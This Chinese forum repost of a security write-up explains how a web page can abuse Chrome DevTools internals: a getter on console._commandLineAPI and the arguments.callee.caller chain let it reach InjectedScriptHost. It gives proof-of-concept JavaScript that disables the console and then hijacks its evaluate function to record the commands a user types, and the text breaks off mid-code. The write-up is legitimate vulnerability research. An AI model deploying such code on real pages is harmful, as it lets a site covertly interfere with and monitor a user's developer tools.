阅读:2817回复:0
Google Chrome 开发者工具漏洞利用
原文链接:http://www.hydrantlabs.org/Security/Google/Chrome/
◆0 引言 故事起源于 Chromium 源码里名为 InjectedScriptSource.js 的文件,这个文件负责控制台中的命令执行。也许很多人都会这么说: 【Wait!为什么是 JavaScript 在负责命令执行,Chromium/Chrome 不是用 C++编写的么?】 没错.Chromium/Chrome 的绝大部分确实不是用 javascript 编写的,但是 devtools 实际上都是一些网页。作为简单的证明,你可以尝试在浏览器里访问下面的 URL,可以看到它和console 拥有完全相同的构造。 chrome-devtools://devtools/bundled/devtools.html 好吧,我承认开始有点跑题了。让我们回到原来的问题。在文件InjectedScriptSource.js的624行左右,在名为_evaluateOn的函数里,我们可以看到这样的一段代码: #!javascript prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {"; suffix = "}"; // *snip* expression = prefix + "n" + expression + "n" + suffix; 这是个相当重要的函数,因为一些特殊的函数,比如:copy('String to Clip Board') 和 clear()都被加到了这里。然而这些函数都是类CommandLineAPI的成员。 ◆1 漏洞 1 一切都将从这里变得有趣。因为我有个想法,可以把ECMAScript 5里的Getters和Setters 利用起来。因为开发者工具总是会在用户输入命令时试图给用户一些命令补全的建议。通过开发者工具的这个特点,我们就可以使用Getters和Setters来构造一个函数,实现在用户输入命令的过程当中就去执行用户的输入。这意味着在用户按下Enter之前命令就已经被执行了。 #!javascript Object.defineProperty(console, '_commandLineAPI', { get: function () { console.log('A command was run'); } }); ◆2 简单禁用控制台访问 这里使用的思路和 FaceBook 是差不多的。 #!javascript Object.defineProperty(console, '_commandLineAPI', { get: function () { throw 'Console Disabled'; } }); 如同你看到的,我们只要在_commandLineAPI 被检索时,抛出异常就可以简单的禁用控制台的命令执行。 ◆3 引言 II 在开始讲解更为有趣的内容之前,我觉得我们有必要先停一下脚步,再来谈谈JavaScript的话题。让我们先来看看下面的例子: #!javascript function argCounter() { console.log('This function was run with ' + arguments.length + ' arguments.'); } argCounter(); // 0 argCounter('Hello', 'World') // 2 argCounter(1, 2, 4, 8, 16, 32, 64) 就如大家知道的,这里的arguments实际上并不是一个数组,而是一个对象。这也是为什么很多人会用下面的方法来将对象转换为传统的数组: #!javascript var args = Array.prototype.slice.call(arguments) 其中的一个原因是,object有一些保留字段,比如:callee。在这里我们可以给出一个示例: #!javascript // Traverse an object looking for the 'World' key value var traverse = function(obj) { // Loop each key for (var index in obj) { // If another object if (typeof obj[index] === 'object') { // Recursion yay! arguments.callee(obj[index]); } // If matching if (index === 'World') { console.log('Found world: ' + obj[index]); } } }; // Call traverse on our object traverse({ 'Nested': { 'Hello': { 'World': 'Earth' } } }); 我想这方面的内容应该是比较罕见的。但是说到罕见,可能对arguments.callee.caller有所理解的人,相对来说会更少一些吧。它允许脚本引用调用它的函数。可以说它的实际效用并不大,但我还是尝试着写了一个例子: #!javascript // Print the ID of the caller of this function function call_Jim() { // Get the calling function name without the call_Jim_as part return 'Hi ' + arguments.callee.caller.name.substring('call_Jim_as_'.length) + '!'; } // Call Jim as John function call_Jim_as_John() { return call_Jim(); } // Call Jim as Luke function call_Jim_as_Luke() { return call_Jim(); } // Test cases call_Jim_as_John(); // 'Hi John!' call_Jim_as_Luke(); // 'Hi Luke!' ◆4 漏洞 II 我们的第二个漏洞将会使用之前提到的arguments.callee.caller。当一个没有父函数的函数在standard context 中被执行时,arguments.callee.calle就会变成null。在这里有一个有趣的现象。当脚本在开发者工具的console里执行的时候,调用的函数是在本文开头说的_evaluate0n函数而并未是所期待的null。如果我们尝试着在控制台输入下面的命令,控制台就会dump出_evaluateOn函数的源代码: #!javascript (function () { return arguments.callee.caller; })(); 也许你会说: 这看上去是挺严重的,但是这和第一个漏洞有什么关系?先不说有什么关系,就算会把源码dump出来又怎样呢? 现在就让我们把它和第一个漏洞关联起来。设想一下如果用户试图把下面的代码粘贴到console里会发生什么? #!javascript Object.defineProperty(console, '_commandLineAPI', { get: function () { console.log(arguments.callee.caller); } }); 就如同你所看到的,这段代码意味着只要用户试图在控制台中进行任何的输入,就会把devtools的源代码dump出来。问题又来了,也许你会问: 那又如何?我完全可以去官网在线阅读这些源码! 我想问题的重点在arguments.callee.caller.arguments.这意味着?对!这意味着我们的一些邪恶的代码(来自一些不被信任的站点)可以访问开发者工具的一些变量和对象,在编写这个exploit之前我们先看一下,我们可以通过一个简单的页面都可以干一些什么: #!javascript 现在让我们试着执行alert(1),并观察结果: 0: function evaluate() { [native code] } 1: InjectedScriptHost 2: "console" 3: "with ((console && console._commandLineAPI) || {}) {↵alert(1)↵}" 4: false 5: true 看一下第二个参数(InjectedScriptHost)。你可以通过这个链接来阅读更多的细节InjectedScriptExterns.js。把精力集中在其中几个重要的函数当中。 clearConsoleMessages - 清空控制台并删除回溯 InjectedScriptHost.clearConsoleMessages(); functionDetails - 返回函数的相关细节 // Create a function with a bound this InjectedScriptHost.functionDetails(func); inspect - 检查DOM对象,不会切换到inspect tab // Inspect the body node InjectedScriptHost.inspect(document.body); inspectedObject - 从DOM对象检查历史中取回对象 // Get the first inspected object InjectedScriptHost.inspectedObject(0); ◆5 禁用控制台访问进阶篇 现在让我们试着写一个更完善的控制台访问禁用脚本出来。这次我不希望再看到那些让人恶心的红色错误提示了。让我们从“当用户在控制台输入命令时会发生一些什么”开始吧。函数_evaluateOn会通过一些参数: #!javascript evalFunction: function evaluate() { [native code] } object: InjectedScriptHost objectGroup: 'console' expression: 'alert(1)' isEvalOnCallFrame: false injectCommandLineAPI: true 然后执行下面的代码: #!javascript var prefix = ""; var suffix = ""; if (injectCommandLineAPI && inspectedWindow.console) { inspectedWindow.console._commandLineAPI = new CommandLineAPI(this._commandLineAPIImpl, isEvalOnCallFrame ? object : null); prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {"; suffix = "}"; } if (prefix) expression = prefix + "n" + expression + "n" + suffix; var result = evalFunction.call(object, expression); 查看一下evalFunction我们会发现它只是InjectedScriptHost.evaluate。这样一来,我们似乎是没有办法来完成这个任务了。wait!也许我们可以增加一个setter.用下面的代码我们就可以达到在不报错的情况下实现控制台命令执行的禁用了。 #!javascript // First run var run = false; // On console command run Object.defineProperty(console, '_commandLineAPI', { get: function () { // Only run once if (!run) { run = true; // Get the InjectedScriptHost var InjectedScriptHost = arguments.callee.caller.arguments[1]; // On evaluate Object.defineProperty(InjectedScriptHost, 'evaluate', { get: function () { // Return a alternate evaluate function return function() { return "The console has been disabled"; } } }); } } }); ◆6 控制台日志记录 我想你大概猜到之前搞了那么多,并不只是为了编写一个不会报错的脚本。让我们来找一些乐子。让我们编写一个可以让命令和预期一样正常执行并能记录所有的命令和执行结果的脚本。这里是我的POC: #!javascript // First run var run = false; // Save the command line api var _commandLineAPI = null; // On console command run Object.defineProperty(console, '_commandLineAPI', { get: function () { // Only run once if (!run) { run = true; // Get the InjectedScriptHost var InjectedScriptHost = arguments.callee.caller.arguments[1]; // On evaluate Object.defineProperty(InjectedScriptHost, 'evaluate', { get: function () { // Return a alternate evaluate function return function(command) { // Get the commands split var commands = command.split("n"); // Execute the real evaluate function var result = InjectedScriptHost.__proto__.evaluate.apply(this, arguments); // Ignore suggustion executions for now if (commands.length |
|